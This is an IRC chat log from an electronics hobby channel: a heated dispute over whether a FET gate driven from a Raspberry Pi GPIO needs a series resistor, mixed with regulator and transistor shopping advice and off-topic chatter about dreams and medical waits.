Viper-7ok sorry, confusing when upside down - when the io goes low, the io pin sinks the current to charge the gate capacitor.
Viper-7DocScrutinizer05: yes, note resistors on both sides :P
Viper-7thats a completely different design than you first linked, but still applies
Viper-7anyway, its 4AM, at this point i really dont care if you dont understand how FETs work, but you should learn :P
DocScrutinizer05Viper-7: please understand zhat *I* specified those resistors and I know *why* I did
Viper-7"literally all you need is the FET"
Viper-7<+Viper-7> and a gate resistor <DocScrutinizer05> nope
HighInBCuse the fet luke
Viper-7there is no arrangement you can make, where the pin driving a signal which is being shifted, doesnt have to drive the gate capacitance, on at least one of the edges
Viper-7will that cause damage? probably not, but its still shitty design, even worse than relying on clamping diodes :P
Viper-7and has more implications than just potential damage, like EMI
DocScrutinizer05"how a levelshifter works"
Viper-7DocScrutinizer05: there is no arrangement you can make, where the pin driving a signal which is being shifted, doesnt have to drive the gate capacitance, on at least one of the edges
Viper-7in that example, its the falling edge.
theBearwell then, okely effin dokel-ie ! looks like about one "fast-boat from china" of time before i get the dubious priviledge of wiring up a 48v/13s maybe 40-50A min new bms up to a huge extruded ally tube full of bare lithium tubular cells and sharp edges, after deftly un-wiring the old effed up one... that's the kinda soldering and wiring that takes a steady hand and a whole bunch of balls
DocScrutinizer05and sorry I never heard the gate capacitance of a FET was a threat to a GPIO and thus a series R needed. Any series R in gate of a FET is to control slope and thus EMI
theBearit's been theorised/discussed/suggested that at silly high freqs with sharp edges/switching that little gpio's may be at risk... certainly smallish discrete buffer/driver transistors and fets have been known to kill themselves trying to move a gate too fast... plus at least maybe 47r of gate resistance (series) seems to make a lot of bigger/faster fets not-oscillate-wildly and or misbehave like an opamp passing signals WAY past it's rails, which
theBearis nice
SpeedEvilAlso, if the FET dies, a gate resistor is likely to protect the driver
Viper-7its not helped by the fact that the pin drivers on the pi are particularily wimpy
DocScrutinizer05Viper-7: Ciss 27pF, how is that possibly a threat to a GPIO? your average copper trace in 2layer has more capacitance
theBearalso my bush-elec-eng smartass side wants to say "nah, not '. . . therefore emi' but 'lower the slope and thus cause heat muchly, without doing any usefull work"
theBearSpeedEvil, good call :-] you'd think an old hand repairer like me mighta remembered that
Viper-7DocScrutinizer05: but thats not the type of part he would use. he doesnt want to desolder an SMD resistor due to inexperience, he aint using a SOT23
androidDid you find a passage out yet?
DocScrutinizer05that's *exactly* the type of component I suggested he would use in a level shifter
Viper-7DocScrutinizer05: but thats not the type of part he would use. he doesnt want to desolder an SMD resistor due to inexperience, he aint using a SOT23
theBearDocScrutinizer05, SILLY high speeds... you get up i dunno, few mhz maybe, god forbid a ghz like decent sounding "digital" audio amps, that much capacitance and some trace resistance maybe, suddenly the driver see's something more like a short or a battery than a capacitance-loaded high impedance input
Viper-7once again you're going with an overly complicated, overly expensive solution, which offers zero concrete advantages, to a simple problem
DocScrutinizer05theBear: err what?? how's that related to PWM@1kHz?
theBearhmm... <insert link to my closeup of the old nforce2 mobo i replaced 2 sot23's with a to-220 mje640 or so, with the big iron, deep amongst plastic this and cpu sink that and too lazy to move any of it> ... that thing still goes nice, last i plugged it in
Viper-7theBear: have fun with your multiple kW of b82rez
DocScrutinizer05Viper-7: you go with complicating a ONE compinent solution by claiming it needs protection from inrush/charge current of a 27pF gate capacitance
Viper-7shorting that would be bad
theBearDocScrutinizer05, i just don't like to see un-finished facts/theory-being-mentioned... ya know, i gotta add the qualifiers and footnotes 'cos i worry someone will go off all mislead and not even knowing it at the time
Viper-7DocScrutinizer05: it is never a one component solution, as we've explored
Viper-7its at least 2, usually 3, and you assert it requires parts that are too small for him to solder, so he'd have to use modules
DocScrutinizer05YOU think you have explored that
Viper-7and if you'd choose parts he could deal with, like TO-220 or even TO-92, things like the capacitance you've asserted are nonsense
DocScrutinizer05since you don't understand how a levelshifter works
Viper-7DocScrutinizer05: there is no arrangement you can make, where the pin driving a signal which is being shifted, doesnt have to drive the gate capacitance, on at least one of the edges
DocScrutinizer05I hive a damn shit about dribing 27pF gate capacitance
Viper-7and *every* solution you've "shown" uses at least one resistor
theBearViper-7, indeed... i sorta developed the only thing i figure can be a sane procedure, connection and protection pcb first touching batts over the years, but man do i shit myself when occasionally i make the tiniest of huge sparks by brushing a loose wire or a gnd with my iron or a whatever during that whole everything is right where you working stage
Viper-7its not 27pf...
DocScrutinizer05NO, ZERO R
Viper-7anyway, this is stupid, you cant argue with an idiot, they'll drag you down to their level and beat you with experience
Viper-7welcome to my ignore
DocScrutinizer05it IS 27pF, see datasheet
Viper-7on a non-viable part, which i've covered several times..
DocScrutinizer05I gave you the link to see with your own eyes
Viper-7glad thats over.
password2is it common practice to socket opto isolators?
theBearin that case, noting i respect the attitude <wink> just sidenote that if the silly fet behaves all retarded, just test a gate resistor, or maybe a little 5-10pf's disc hanging off it right where the legs some cout
theBeartho, i suspect what viped just said bout level shifters and irrelevant, trumps that line
theBearerr, viper too
DocScrutinizer05Viper-7 claimed a GPIO to FET gate needs a series R to protect the GPIO which is generally not the case, unless you go to insane frequencies that are usually not to be seen on GeneralPurposeIO
HighInBCthe gate on a fet acts like a capacitor right?
DocScrutinizer05the he resorted to bitching about form factor, without even checkking which form gactors the component is available in, not to mention compatible other components
DocScrutinizer05HighInBC: yes, like a very tiny one
HighInBCya, I have never used a resistor on those
theBearDocScrutinizer05, mmm, what you said, tho noting my sidenote on some grumpy big fets, and speedevil remembering how if the fet goes nasty short or even super-leaky, the resistor will largely or completely save the gpio pin... i spose converse to what you just summed up, at these freqs, the gate capacitance is negligible, therefore a couple digits of ohms in series will be invisible
theBearawww, it's sat night here, he's probly just excited and drunk, trying to help, looking bitchy <wink viper>
theBeari know i'm slightly influenced by a couple of quiet ones, just to wet my whistle while i work
Viper-7the part DocScrutinizer05 suggested is only available in SOT23, pretty much all FETs available in larger packages have far higher gate capacitance, easily into the nF range - and he's recommending it as a replacement for 2 resistors - theres no need whatsoever for bi-directional communication - and its being driven from a raspberry pi IO which have some of the more fragile pin drivers of
Viper-7any SoC/micro, and its generally good practice to *always* use a gate resistor when driving a mosfet, not just for pin driver protection, but also EMI concerns, and the fact that fets can fail closed, which would then most certainly cause damage. thats before we get into his assertion that fet level shifters dont need any extra parts, not even a single pull-up/pull-down, in which case,
Viper-7where the heck does the 'other' (Vih or Voh) voltage come from?
Viper-7but at this point he's just arguing for the heck of it, he knows he's pushing a shit solution, and is just trying to waste time and confuse the issue until someone caves
EncryptViper-7, I'm still having a look at the optocoupler datasheet
EncryptViper-7, It seems, if I am reading it correctly, that my solution is not viable
Viper-7Encrypt: 10k to ground, 1k to the pi io, job done, very safe, very little wasted current
EncryptViper-7, If I have a look at the "test circuit for response time"
EncryptWith a load of 10k (the pull-up resistor), the response time would be 200µS (@2V though)
EncryptSo, if I wish to dim the screen with a PWM of 1kHz, it becomes kinda unreliable
EncryptSo, your solution really seems better
theBearlittle optos like 6N138 maybe, or even just isolated line drivers like that err 5 digit old rs485ey one, should go at least a few hundred khz with nice looking edges still
theBearif yer getting heavy duty about things
androidencrypt do you now your enemy?
theBearhow now brown cow ?
Encryptandroid, The NSA? :D
android"what I would do if I wanted to break in is.."
androidthe would
theBearhmm... i'd say depending how much of a nth/second a curly us means, that's either REAL slow, or REAL fast <grin>
androidencrypt is it the NSA?
androidso encrypt you want to be Him?
Viper-7theBear: the situation is a pi, and an led driver for the backlight of an lcd screen - both running from the same power supply, he wants to feed a pwm signal to the enable pin of the led driver, to dim it on demand from the pi - this would be dead simple with just a direct wire, but the lcd screen has a 10k pull-up to 5V, but he doesnt want to remove it, and he/we didnt like the idea of
Viper-7relying on the clamping diodes on the pi
Viper-7(when the pin was in input mode)
theBearhmm... 1khz eh ? yer'd want to be drawing the frames REAL fast or REAL slow, heh, that sounds like exactyl what that opto in the datasheet would do
Viper-7theres no need for isolation or such, so the suggestion i ended on was a 1k resistor on the pi side to protect and make super mega sure that the pi io pin would be safe from any 'incidents', and adding a 10k pull-down to fight the 10k pull-up, to keep the enable line at a nominal 2.5V, which the pi could drag up to 3.3V, or down to 0.2V
Viper-7(the high threshold for the EN pin is 1.5V)
Viper-7he didnt want to use a transistor because it would be 'complicated', but somehow alternatives like adding an opto, or mosfet were thrown into the mix, as if they'd be somehow "simpler"
Viper-7the only thing im not super convinced about, is wether the LED driver will actually be happy with having its EN pin strobed at 1kHz - but thats been his plan from the start, i just havent even tried to tackle that, because it became a big pissing contest between other 'helpers'
Viper-7(the LED driver is a CC boost chip)
theBearmm... only one way to findout <grin> bench psu's are handy at times like thins
theBearerr, bench siggens that is
EncryptViper-7, "The typical frequency range of the PWM signal should be 1kHz or less due to the soft start function."
EncryptIt seems to be fine
EncryptI drew your idea on a paper, it looks good
theBearACTION tries to draw Viper-7's thoughts on paper
theBearhmmm.... i can't do like him
theBearoh err, or her if that's how it is
EncryptEh eh
EncryptThe more I think about this project, the more I realise that electronics isn't as simple as I initially thought (<.<)
DocScrutinizer05Viper-7 blabla
theBearEncrypt, the more you know, the more you discover you didn't and don't know... but it's an interesting ride to do it
EncryptBoth approaches are good actually, but Viper-7's one is probably the most efficient and "simple" one
XiongElectronics is simple. Reality is complex.
EncrypttheBear, Indeed
electrobotViper-7 just linked to
theBearelectronics is simple, not ranting at people is the hard part
DocScrutinizer05I'm not pishing any solution, unlike Viper-7, I simply said a level shifter is a possible (smart) alternative to a more conventional driver transistor design he suggested/pushed
DocScrutinizer05and any external oullup resistors are not a mandatory part of a level shifter
infinmedIm wondering how when during induction and how it makes the electrons move in the conductor, how they resituate themselves after slowing down when electric is used. Now they are at another part of the wire. How do they get back to where induction is occuring to be used again
infinmedDoes that make sense?
theBearViper-7, aww boring ! i was imagining you were thinking about something cool that i could draw <wink>
theBearthat's just electronics
matlandlol wtf @ what is happening to sonos cr100 things
Viper-7matland: vendor suicide :P
theBearinfinmed, think marbles in a hose... push one end, all of them move at the same time
matlandthis is even worse than the ftdi disaster
gurkiXiong: i reached the point where not even the theory is easy :(
infinmedI know that theBear
ThePendulumthere there
DocScrutinizer05for "eew sot23" concerns, there's e.g.
theBearelectrons and such silly things i ain't even convinced really exist, seem to like kinda, status quo, yin and yang... think of a van-de-graaf... those suckers are desperate to find an opposite charge to equalize with
Viper-7matland: but they give you a $100 voucher towards buying more of their products! despite them not selling any alternative... :P
matlandsot23 is usuable on prototype boards
gurkitheBear: i think you need an opposite charge to equalize with :P
matlandlol who'd want to buy from them anymore Viper-7 :P
infinmedAh ok maybe thinking about that again ansers my q thanks theBear
Xionggurki You have strayed from the easy abstractions of elecs into the bizarre infinities of physics?
gurkiyap :D
theBearACTION never thinks about electrons and atoms and crap .. theBear feels they only complicate electronics theory
infinmedI mean after the furst marble moves to the second electron does it go the opossite way to be at the beginning atom in the conductor again so that it can be moved to the second again
Viper-7DocScrutinizer05: lol still going... now you want him buying 4 channel level shifter modules, to replace a resistor or two?
Viper-7yes its a viable solution, a dumb one, but viable
infinmedsecond atom i mean
Viper-7also i never recommended a transistor approach, i mentioned briefly that i might use such as a default habit, then rattled off a few reasons why on deeper consideration it wasnt ideal, especially for a noob who didnt already have one on hand - because some of us here have to be realists
DocScrutinizer05Viper-7: would you please use your damn /ignore list?!
theBearinfinmed, hmm, you mean like a inductor, elec->mag then release mag->elec again cycle style ? meh, i dunno, i guess they go forward and backward, kinda like how a piston in an engine goes
password2yeah , ignore DocScrutinizer05
gurkikids. behave.
Viper-7i did, but you kept ranting and leading people astray, someone has to keep you in check :P
infinmedright theBear
password2Viper-7, you like to tell people they lead others astray
theBearACTION was instructed yer ain't allowed to ignore if yer a responsible deputy chosen to keep the peace <frown> 
password2someone fix my usb voltage :D
theBearsome years that 'code of conduct' is just torture
infinmedThe wuestion is probablyvbetter for ##physics but apparently I am banned in there from 2016
gurkitheBear: i am offended that you think so!
infinmedBad spelling erg i am on a phone
theBearpassword2, i swap yer for a fancy fone with usb c new reversible plug that makes whatever you plug into it get too hot to touch in seconds, at the phone plug end
password2how theefuck did you get banned there?
theBeargurki, <grin>
mrdatainfinmed, what got you banned from ##physics?
theBearpassword2, heh, seems more than a few that end up here managed to achieve the same there
RoChesstheBear, maybe time to invest in some quality plugs :)
DoYouKnowmrdata: can you ask for them to unban me from ##physics?
Viper-7theBear: i refused to accept +o in ##php for many years, purely for that reason - well, along with being like ... you want me to enforce the rules? im usually the one breaking them!
DocScrutinizer05Viper-7: you can't accept your assertion that all FETs need a series R in gate when connected to a GPIO is BS. Get over it, you're wrong in that
infinmedlol password2 asking things that i fealt were kegit physics and they did not agree
mrdataDoYouKnow, i have no pull in ##physics
DoYouKnowI promise I'll be quiet, and won't crticize xihr's insane theories
Viper-7DocScrutinizer05: you cant accept that most of the time it should be added, and not adding it is just as bad (worse) practice than relying on clamping diodes.
theBearRoChess, one of them is literally brand new, bought myself for good money from a known supplier, used maybe 5 times just on repairs, maybe a charge and a adb shell /bin/ticklesomething for good measure ! i suspect the new 'super duper standard' is actually a lemon
password2when i power my esp32 , the usb hub sags to 3.8V
Viper-7not only for driving the gate, but for failure conditions.
password2just a shame i dont have any more 7805s
gurkipassword2: theese are old crappy parts
XiongDoYouKnow Don't waste your time.
gurkiwhy would you want some
RoChesstheBear, well considering 100W can go through it, the smallest resistance added quickly turns to heat
DocScrutinizer05in a level shifter yiou *cannot* add any sich series R. ETX, file closed
password2gurki, because their nce to have around
theBearViper-7, heh, you should visit the #php next door network that i been owner of for some years now .. not much programming talk most days, but damn, it's never boring when anyone is awake ! lots of swearing too, which is very cool
password2gurki, what do you recomend then?
Viper-7DocScrutinizer05: also, i didnt just say that, i shot down your solution as a whole as being overly complicated and expensive, you have one tenuous point you keep trying to argue, one battle you're still fighting, even after losing the war
Viper-7classy :P
theBearRoChess, 100w !?!?! hot damn ! it did mention if i wasn't using my usb (otg style) peripheral, i could click to turn it off and save power <grin> also, eff waterproof to 5 meters for 30 minutes modern fones ! they too stuck togetherey !
XiongI got kicked years ago for questioning a description of Toutatis. The answer is "nutation" but although nobody knew that, I was an idiot for asking.
DocScrutinizer05you suggested "I'd use a transistor", my level shifter was a reply to that. Accept it's rather YOU who needs a deputy to keep you within sane limits
RoChesstheBear, yeah USB-C supports 20V/5A configs after negotiation, fully capable of charing laptops/etc
Viper-7in the same line as i mentioned that, i also mentioned several reasons why i wouldnt, and that i'd only do such if i was being sloppy and lazy.
Viper-7perhaps you should read to the end of lines, if you have such trouble comprehending them
theBearheck, i was driven to breakout a new straight-razor/old razor blade, the old err, schick ever-shiny's maybe, either way, i ain't felt a need for more than a .4somethig mm guitar pick or a stanley/thick-single-sided \____/ kinda looking blade, and usually a rusty one with chips outta the edge at that !
DocScrutinizer05trouble comprehending YOUR blabla? LOL
HighInBCthat sounds like a lot of reading
theBearACTION was appalled
password2oh now your quiet , gurki?
gurkipassword2: i got me some popcorn to watch this discussion
password2recomend me a replacement for 7805
gurkidepends, really
Viper-7ams1117-5 :P
DocScrutinizer05I even understand where and why you failed to grok the context of this whole dispute
gurkithe most general purpose thing is probably some lm2596
gurkiif you dont need power said 1117-5
Viper-7DocScrutinizer05: the fact that you're arguing irrelevant shit? oh no im quite aware
password2i need to get a 20A 5V supply sometime too
theBeargurki, for an extra $4 you can get a fancy gold-class seat in the vip area up front... nice leg-rests and drink holders in both FAT padded arms...
Arm1nHas anyone ran Capstain motor over arduino or on something else
gurkitheBear: whoa :O
gurkiill take one :)
password2yuck , smd
theBearpassword2, in theory lm317, or maybe even tl434 and a diode and a transistor or so
restorerI have a 5V 20A supply sitting in my closet, and I finally found the USB bar I wanted to hook it to
XiongGuys, guys.
Viper-7password2: you can get them in to-220
mrdataguys, dont fight
DocScrutinizer05nice you call your own claims "irrelevant shit" - thanks, couldn't agree more
theBeargurki, if you would like to walk this way sir. <walks off with a weird looking gait>
password2not on aliexpress it seems
HighInBCrestorer: consider putting 3A fuses on each port. If a USB device shorts out and the supply provides 20A then you can going to have a bad time
password2but my resolution is to small to really search now
Viper-7not at all, but you've now officially stooped to 5 year old child level, so eh
theBearrestorer, i tempted to use my 1.2kW (!!!) gigabyte 'odin' atx psu for the same... rated for 99a at 12v continuous ! AND silly big currents on the lower rails like 5v at the same time !
gurkipassword2: theres a shitton of both 1117 and lm2596 on ali ^^
XiongIt's easy to misunderstand one another. Nobody has space to fully qualify each comment.
restorerHighInBC: oh yeah, definite modifications in store before I hook it up
password2ah , not ams
DocScrutinizer05well, maqybe you need last word with your trumping, but I won't grant it to you
theBearwow @ tiny fast auto-assembly cnc
XiongACTION vanishes awhile
theBearwoops wrong channel
Viper-7password2: yeah seems only the adj and 3.3v versions are common on ali in to-220
Viper-7is the only listing i can see on a quick hunt
restorerrelated: what's the benefit to an AMS1117 over an older TO-220 regulator that people are putting together TO-220-size AMS1117 boards and selling them?
restorer(just occurred to me)
Viper-7restorer: those boards also include the required caps
restorerah, okay, there's that
mrdatarestorer, is that a switching regulator that replaces a linear one?
Viper-7but yeah, generally somewhat of a waste heh
password2ACTION quits MC and sets resolution back
Viper-7mrdata: those exist, but nah, there are linear ones too
restorermrdata: the 1117's are all linear
restorerthat was my first thought
password2actually i did not even fins 117 in to-220
Viper-7these days, just use one of those MP1584 modules :P
RoChess4 pennies a pop not a bad price --
password2i should really stock up on transistors and regulators of all kinds
gurkijust to find out youll always miss that one part youd need?
gurkii stopped stocking anything.
gurkiwaste of storage
restorerman, I really bent a TO-92 transistor out of shape last night, broke and repaired a transformer... and then screwed up the voltage multiplier layout >_<
restorerthe pinout on the S8050 kept throwing me off
RoChessgurki, it's nice when prototyping on spur of the moment though
restorer^^ I love how those are always labeled "transistors"
password2$3 for 10
password2oh wait 60
gurkiRoChess: you wont be able to really "prototype" anyway once your chips stop being available in dip ...
gurkii never breadboard
restorerI have a bunch of LM317s and LM338s and some LM1084s on standby
restorergurki: there are always adapters
password2I assume the 78l05 is low power variant of 7805?
gurkithe ammount of work to put in some breadboard is about 50% the work required for some pcb design
RoChessgurki, that's what aligator clips are for, or make your own adapter :)
gurkiso thx but no thnx
restorerpassword2: 100ma IIRC
Viper-7password2: yup
zigggggygurki :)
gurkihf breadboarding sth like ad9866^^
gurki(just the thing im tampering right now)
gurkizigggggy: ! :)
password2ACTION googles how much his esp32 wants
theBearpassword2, to92, and what they said
theBearpassword2, so small AND no heatsink generally
Viper-7password2: if buying, why not the regular 7805?
Viper-7or better yet, MP1584 :P
theBearViper-7, aerodynamics
password2wait i said i want 7805
password2then gurki bitched about it
gurkii stated that 7805 is old crap
gurkiso he asked for alternatives
password2adn now were back to 7805
theBearthe diodes also gonna form a racing stripe, cos they make it go faster, that and being painted red, yessir
Viper-77805 has a high-ish dropout voltage, but then so does the 1117 :P
Bird|otherboxgurki, LT3080? :P
RoChessgurki, when you buy a lot of 20, just sacrifice one or two and create breadboard compatible version of it with your own PCBs or buy pre-mades such as:
restorerI do prefer the tiny buck converters...
DocScrutinizer05 TO-92 (leaded, easy to solder) Ciss MAX 50pF
Bird|otherboxif you insist on a linear reg that is
gurkiBird|otherbox: thx
restorerwhat's the "standard" adjustable LDO?
gurkii wanted to suggest that one but i forgot the part number
Viper-7restorer: used to be LM317, now probably 1117 (no voltage specifier)
DocScrutinizer05randomly picked example
Viper-7plenty of other options tho
password2looks like ep32 want atleast 0.5A
restorerdoes LDO stand for something other than low dropout? have I been reading it wrong this whole time?
Viper-7MCP1825S, LT1085, etc
Viper-7its low drop out
Viper-7but thats an ancient term
Viper-7so they made new ones like 'ultra low dropout'
gurkiRoChess: i dont get the appeal of breadboarding chips with 64 pins and more
Viper-7and there are others heh
Bird|otherboxViper-7, NMOS pass LDOs are probably the best you can get btw. good dropout perf + are not picky on caps
restorerokay, I do have LT1084s on my list, that's good
Viper-7the MCP part i mentioned is like 250mV dropout, the LT parts have a similar dropout to the 1117 (around 1.3V), but can handle much higher currents
password2oh so 117 is usually adjustable , but you get it in preset values too?
RoChessgurki, yeah it is better to do any testing/analysis at software level then and go straight to PCB for prototyping
DocScrutinizer05VN2210N3-G was the one with largest Ciss in TO-92 I could find in digikey: 500pF
Viper-7there is a variant with no voltage specifier which is the adjustable version yes
gurkipassword2: theres the adj and the fixed parts
Viper-7but AMS1117V33 is by far the most common, being the 3.3V one
DocScrutinizer05still not even a single nF
theBearViper-7, your face is a 3.3V one !
password2what does the AMS designate?
restorerI usually see those kinds of parts as <partno>-5, <partno>-12, and <partno>-ADJ
theBearheh, that apparentyl also can't grown any nF's on his cheeks
Viper-7restorer: yeah, but the 1117 is different :P
restorerpassword2: "Advanced Monolithic Systems", same as LT etc
restorerthe maker
restoreror... originator of the design, depending on where you buy them ;P
password2i think sometime soon I should do regulator + transistor order , maybe with a few breakout boards so i can have smd version too
flyback<flyback> HOLY MOTHER OF CANUCK
electrobotflyback just linked to TRANSPARENT ALUMINUM - CLEAR METAL?! - YouTube
Viper-7password2: i saw this while looking before
Viper-7not a bad little kit
Viper-7but yeah doesnt have the vreg you want here :P
password2so many kits i need to evaluate :D
password2ideally i want kits though
password2because i pay $2 per package if its registered
kmcgood morning all
theBearflyback, you should look at some of the err, brush-on magic new chromey stuff for ya know ,shiny car bumpers or whatever ! the stuff somehow just goes smooth and shinier and shinier like magic as soon as the dudes can get it onto the surface
password2you recommended transistors for me a while back , but I've lost them
Viper-7those are real nice, but $1 ea heh
theBearyou see it go from wet matte kinda shiny paint colour to SUPER glossy chrome finish in seconds
password2also I *might* do an arraw order
Viper-72n2222, 2n3904, 2n7000, bc547, bc557, bs138, irlu024n, irlz44n, irlb3034
password2but maybe closer to april
Viper-7are all ones i keep in stock
password2ok , i have 2n2222 in stock :P
restorerwhere does arrow ship from? their offices are nearby, but obviously not their warehouse(s)
password2ACTION jots down
Viper-7i discovered today rs components do free shipping to me, no minimum order
Viper-7so i ordered a $4 trimpot tweaker
restorerI have some SS8050 for a bit of power while still in TO-92
password2restorer, idk , I just know I can get free DHL shipping
Viper-7password2: note the $20 deal on arrow is over, they're back up to $50 minimum for express
Viper-7free standard tho
password2Viper-7, well if i order from arrow its going to be >$400
DocScrutinizer05LOL 2N7000.
DocScrutinizer05Ciss 50pF
password2whats wrong with 2N7000?
DocScrutinizer05nothing, that's the point ;-)
Viper-7password2: vaguely, the 2Nxxxx options were the US standard, the BCxxx were the UK/EU standard, and the S8/9xxx ones were the asia standard
DocScrutinizer05just Viper-7 suggested it (so seems to know them) while still claiming FETs with leads have several nF Ciss
Viper-7they all have pretty equivalent parts to each other
Viper-7DocScrutinizer05: "some", lrn2read
password2Viper-7, lol , I'm still on the fence about ordering that scope
password2if i can just get to a point were I do electronics more often , i would buy it in a heartbeat
password2the MCP18255 is MCP1825 hte base unit?
RoChesspassword2, sometimes you gotta treat yourself though
Viper-7theres MCP1825 and MCP1825S (S not 5), the S version is 3 pin, the non-S one is 5 pin
Viper-7extra pins being a power good indication output, and an enable input
Viper-7when not enabled, it drops to like 100nA or something
Viper-7so quite nice for battery stuffs
password2thats nice feture
password2and i guess a decent quality too since its Microchip
Viper-7you also can get those as samples from microchip :P
theBearoh missed a chance to say "hah ! Viper-7 is HTE base unit ! and so is his face !"
Viper-7theBear: ill give you a base unit in a minute!
theBearooop ! did i just oxymoron a sentence
restorerseems like only the 'S' is adjustable, too
theBearViper-7, UGH ! so VERY common... those sad base units down at the docks !
intranickACTION drops theBear in a vat of oxyclean
password2what were the S*** ones you recommended?
Viper-7S8050, S8550, and S9012, S9013 are the two common complimentary pairs iirc
Viper-7but i never really use those, so eh
restorerI only mentioned it because it was in a design I was replicating and I had them so I used one
theBearthere's some mjXYZ series that make a lovely little to220 pair, and those err, 2sk/j around the 40-50's like 2sk45 or so are nice pairs, if you want heavy duty to3 suckers
theBearwhat we talking about transistors for ?
restorerand it has nice current for a small transistor
Viper-7password2 is shopping
Viper-7generic stocks for the shelf
Arm1nDoes anyone have any idea what I could use my old antenna rotator for
password2what were those blue 5V mains powered regulators again?
Arm1nits used for controling the motor of satelite dish I think
theBearArm1n, rotate yer new antenna ?
Arm1nwell don't have the new one
Arm1nand plus its manual
Arm1nyou have to turn the dial
Arm1nleft right
Arm1nold tech probably from the 80-90s
Arm1nlots of copper tho in it might sell it
password2IRLU024N seems nice
Viper-7password2: those are nice for small ones
Viper-7IRLZ44N are the bigger brother, but IRLB3034 trump them by quite a margin - i have some on order, havent used em yet
theBearis trumping better than goreing or bushing them ?
Viper-7also fwiw,
Viper-7theBear: apparently its treasonous to say otherwise, so.. i guess :P
password2tentatively i want something to pwm my leds with to , ~3A 12V , so maybe I'll use one of those
password2i can start a car with this
theBearpfft, not for theBear ! he's legally allowed to use high bitlength cyphers on wtf he feels like applying them to, then import and export that encrypted blobby file-matter as i wish without penalty :)
theBearpassword2, i'm kinda quietly-excited that i might one-day somehow coax my 99a@12v giant atx psu to start a car, probly a tiny one that is WELL lubricated, but heck, you ever seen a pc psu start an engine ? i'd watch that on the youtubes !
restorertheBear: why not also push the 5V and 3V3 rails through too? :P
password2theBear, you need loads of output capacitance though , atx supplies stop at the slightest hint of discomfort
password2theBear, I've charged my car with a ATX supply in series with my lab supply
password2a few times
password2my lab spply is underrated
password2~3A out on 7V , 20V is 0.8A
kmcI got so drunk in a dream that I had a hangover when I woke up
password2lol kmc
password2i dreamt my car kept getting stolen
password2like i would forget it outside , unlocked
password2and it would get stolen
Viper-7password2: the gotcha with all 3 of those IR* options, is the gate capacitance - if you want high speed PWM, you may well need a gate driver (or totem pole of other transistors like you're buying), even with them being "logic level"
restorerI kept having dreams I spent all my money and THEN got robbed
restorerer, mugged, really
Viper-7password2: with the ones having higher current ratings generally having higher capacitance
restorerat gunpoint once
theBearrestorer, can't hurt ! maybe if i tickle the little 2nd coils with 'em it'll help
RoChessi got a lame 30V/5A lab supply... i was able to run the powered window motor with it, but only without any load
Viper-7password2: but thats probably only a thing over like 20kHz, even for the big one
password2Viper-7, thats an issue I'm well aware of , the rpi with its > MHz pwm showed me that issue quickly
restorertheBear: heck, tie a couple huge boost converters to the lower-voltage rails and really pump it out ;)
theBearrestorer, don't ever take some medication that happens to sideeffect very vivid dreaming and accidentally break your own leg doing something far from a hospimable ... that one was horrible
restorertheBear: I dunno, I have more troublesome dreams OFF meds than on
kmcyeah I have dreams about my car getting stolen
kmctheBear: owww :(
theBearrestorer, that kinda talk and my mind turns to how i could drive even more bass, heck, why not just wiggle the whole car at freqs low enough that the shocks can take the wibbleys
restorerlast night, in my underwear, walking home, through an alley with illegal fighters, one ripped his arm skin off to reveal his bent arm was actually a decaying goat head??
theBearrestorer, ahh, i of course drink to fix that in my world, but i can't advocate it to others, it's only good for me
theBearrestorer, oooh, impressive !
theBearyou must be a good imaginationer
restorerI don't know what drinking does to my dreams, I haven't been able to drink enough to go to bed drunk in years
kmci wasn't drunk at all when I had my getting-drunk dream
kmcsober as a turk
restorertheBear: that was after dreams of various lions and tigers lured out of the mountains ripping the skin off of various local livestock (and each other, accidentally)
kmcI got really intense dreams when I started taking Prozac, but I can't remember them very well
restorerkmc: I've had dreams where I've done too many drugs (that I've never actually done) and being really out of it
Viper-7start drinking one of those one night, i *guarantee* you'll end up pissed like the good old days
Viper-7last time i did was a quite eve at home, and i ended up throwing up drunk
restorerand other dreams where I get into a situation where I'm about to be arrested/searched and I happen to have illegal drugs on me? and I wake up thankful my life isn't ACTUALLY ruined
Welkinrestorer: what
Welkinwho has dreams about that?
RoChessshould be able to test most car equipment out with this puppy --
theBearkmc, as i recall mine were after prozac, or on the way off (stupid delay medications) maaaaybe, the mirtazapine, maybe + esomethingword at that time
restorerand lots of medical dreams, because, well, that's my life
restoreronce I got an (open, half-full) tin of tomato sauce implanted in me
restorerwhen I'm ON meds, I usually just have dreams about family outings, often with unpleasant family
theBearwowee ! i been angle-grinded and sewed back over a couple spots, but i didn't get a takeaway
restorerbut not as intense
restorerlast night, between being the shotgun rider in the mountain trucking competition, I had appointments at a clinic where they gave me rought ETAs for a transplant
restorer(it was those trucks that the predatory animals followed out of the mountains)
Arm1nanyone know what kind of transformer I have the marking is K-660 I GV-I
theBearArm1n, got a pic or words of some context
theBearheh, every 3rd visit to my doc these days i get a rough eta for a transplant, then i ease off the old sauce a little, and it seems to calm again,but maaan, dreaming it gotta be better than not
restorerI mean, my current *actual* ETA is, "you're at the [anecdotal] median for your blood group", and my own analysis of the statistics says a very good chance (>65% at this point) it'll happen this year
restorerthe estimate in my dream was 140 days, give or take 60
mrdatayoure getting a tomato can transplant?
mrdatadont take one that bulges
hitekunless you want a big bulge
password2ok I'm think I'll skip the S* bjts for now
Arm1nno theBear only AC220V 50 Hz and under it AC220VX2 900mA
Neutron-slI have a small surface mount transistor labelled I680, but I can't find the data for it anywhere? Any idea of what it might be? it's blown so I can't work out what it might be
restorermrdata: no, already had that one, and it was open
theBearoh, errrrm, you know what it came from ? depending on size i'd guess maybe between 9 and 15vac, with a centertap.... if you confident working with live mains you can just plug up the primary (higher resistance skinny wire side) to mains and see what comes out
restorerwaiting on a more useful one still :P
theBearNeutron-sl, i usually just guess by context... usually a pretty generic low voltage fet in modern small things i found
theBearlike, logic voltage = gate full on
mrdatarestorer, i suppose that means you cant eat potato?
Neutron-sltheBear: it's part of driving the rear propeller for a small remote controlled helicopter. So it operates at less than 8.4V PWM switching the propeller
Neutron-slmost likely in a H bridge configuration
mrdataor must be every careful with diet generally
Neutron-slas the motor can go both forward and reverse
restorermrdata: in general, yeah
DocScrutinizer05Neutron-sl: try
restorerNeutron-sl: I can't find anything for markings of I680 or 1680 :(
Neutron-slrestorer: me neither. :-(
restorerI assume it's SOT23 form factor?
Neutron-slbut I am very sure it is the letter "I" as it's not just a straight line, but has a flat top and base..
Neutron-sllike a T with a horizontal line on the base as well as the top if you understand what I mean
restoreroh, if it's part of an H-bridge, I suppose you could desolder one of the others and put it on a component tester, if you have one
kmcit's probably nothing special then
